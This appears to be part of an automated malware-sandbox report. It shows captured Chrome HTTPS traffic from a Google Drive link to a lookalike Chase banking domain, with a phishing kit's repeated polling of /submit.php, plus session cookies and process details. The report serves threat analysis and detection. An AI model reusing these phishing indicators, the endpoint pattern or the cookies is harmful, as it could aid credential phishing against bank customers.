2024-12-20 00:21:59 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49871	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:00 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:01 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:00 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49872	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:00 UTC	588	OUT	GET /content/chasefavicon.ico HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:01 UTC	266	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 19:39:20 GMT ETag: "7d26-6104308fe4a00" Accept-Ranges: bytes Content-Length: 32038 Connection: close Content-Type: image/vnd.microsoft.icon
2024-12-20 00:22:01 UTC	16384	IN	Data Raw: 00 00 01 00 04 00 10 10 00 00 00 00 20 00 68 04 00 00 46 00 00 00 20 20 00 00 00 00 20 00 a8 10 00 00 ae 04 00 00 30 30 00 00 00 00 20 00 a8 25 00 00 56 15 00 00 40 40 00 00 00 00 20 00 28 42 00 00 fe 3a 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 35 b9 5c 00 3f b9 5c 00 3f b9 5c 00 3f b9 5c 00 29 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 6b b9 5c 00 fd b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 d1 b9 5c 00 35 b9 5c 00 33 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 57 b9 Data Ascii: hF 00 %V@@ (B:( @\5\?\?\?\)\k\\\\\\5\3\W
2024-12-20 00:22:01 UTC	15654	IN	Data Raw: ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 03 b9 5c 00 4f b9 5c 00 e3 b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 4f ff ff ff 01 ff ff ff 01 b9 5c 00 41 b9 5c 00 99 b9 5c 00 35 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff Data Ascii: \\O\\\\\\\\\\\\\\\\\\\\\O\A\\5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49878	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:03 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:03 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:22:04 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:03 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:22:04 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49885	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:05 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:06 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:05 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49891	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:08 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:08 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:22:09 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:08 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:22:09 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49898	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:10 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:11 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:11 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49909	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:13 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:13 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:22:14 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:13 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:22:14 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49915	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:15 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:16 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:15 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49921	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:18 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:18 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:22:19 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:18 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:22:19 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49926	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:20 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:21 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:21 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49932	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:23 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:22:23 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:22:24 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:22:23 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:22:24 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49933	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:22:23 UTC	999	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1813 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/binary Content-Encoding: gzip sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:22:23 UTC	1813	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a d5 98 5b 6f 9c 37 0e 86 ff ca 60 ae 5a 60 e0 48 a2 48 89 08 f6 22 ed 45 1a b4 69 b1 e8 21 05 c6 c6 c2 f5 21 99 66 e2 71 5c 7b 9b e4 d7 f7 25 45 4d 1c 37 bb c9 a2 dd 2d 16 03 cf f7 98 a2 44 4a a4 28 7d b3 5e e7 d5 c5 cd 76 fb d1 5f eb 8f 56 5c af 97 0f 77 bb a7 db b3 c5 e7 cf ae 76 2f ce 96 ab 65 ce 6d 79 b4 5a 2f bf de 5d df 7f f0 b7 cf ae 8e 2f 4e 21 ed 2e 73 a5 cd cd 8b a9 76 b4 4a ab e5 93 cd c5 e9 ee d7 5f 4c 96 0e f0 01 bc ea 82 ef a1 05 11 2b f5 83 4c c5 c6 a8 e8 e2 9f 23 f4 ce 5d e1 c3 32 37 aa c2 35 d7 24 c4 cb 0f f8 bc 84 d3 25 16 a4 96 55 f4 4d 9a b9 50 4a e9 e3 27 ff e7 7c ad 73 69 64 86 8f fe 77 36 ff 24 cf d7 87 cb f4 ba 6e ea ee 34 c9 cd 55 c9 9a 9e fe 53 de 6c cf f3 f9 d9 c9 eb 17 9c 64 f3 ec 26 ed f2 4f 27 57 Data Ascii: [o7`Z`HH"Ei!!fq\{%EM7-DJ(}^v_V\wv/emyZ/]/N!.svJ_L+L#]275$%UMPJ'\|sidw6$n4USld&O'W
2024-12-20 00:22:24 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:22:24 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:22:24 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:22:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 1848, Parent PID: 3620

General

Target ID:	0
Start time:	19:20:58
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 2056, Parent PID: 1848

General

Target ID:	2
Start time:	19:21:01
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2216,i,17725997227346698388,7204541445290865295,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6576, Parent PID: 3620

General

Target ID:	3
Start time:	19:21:08
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?usp=sharing_eip&ts=67645d30"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly